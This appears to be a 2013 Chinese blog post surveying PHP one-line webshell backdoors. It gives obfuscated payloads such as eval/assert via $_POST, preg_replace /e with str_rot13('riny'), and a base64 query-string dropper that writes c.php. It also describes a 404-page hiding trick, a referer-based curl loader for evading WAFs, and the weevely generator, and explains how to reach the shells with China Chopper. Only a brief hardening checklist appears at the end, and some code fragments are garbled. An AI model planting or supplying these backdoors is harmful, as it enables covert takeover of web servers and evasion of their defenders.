标题:说说那些强悍的PHP一句话后门木马 出处:沧海一粟 时间:Tue, 04 Jun 2013 23:58:51 +0000 作者:jed 地址:http://www.dzhope.com/post/965/ 内容: 我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。 利用404页面隐藏PHP小马 404 Not Found

Not Found

The requested URL was not found on this server.

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。 无特征隐藏PHP一句话 ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waH 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。 层级请求,编码运行PHP后门 此方法用两个文件实现,文件1 $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch); 通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。 PHP后门生成工具weevely weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。 weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。 以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。 点击在新窗口中浏览此图片 http://www.dzhope.com/attachment.php?fid=68 三个变形的一句话PHP木马 第一个: 在菜单里写 1.php?2=assert 密码是1。 第二个: 在菜刀里写2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。 第三个: ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血! 如何应对PHP一句话后门 我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了: 1,对PHP程序编写要有安全意识。 2,服务器日志文件要经常看,经常备份。 3,对每个站点进行严格的权限分配。 4,对动态文件及目录经常批量安全审查。 5,学会如何进行手工杀毒《即行为判断查杀》。 6,时刻关注,或渗入活跃的网络安全营地。 7,对服务器环境层级化处理,哪怕一个函数也可做规则。 Generated by Bo-blog 2.1.1 Release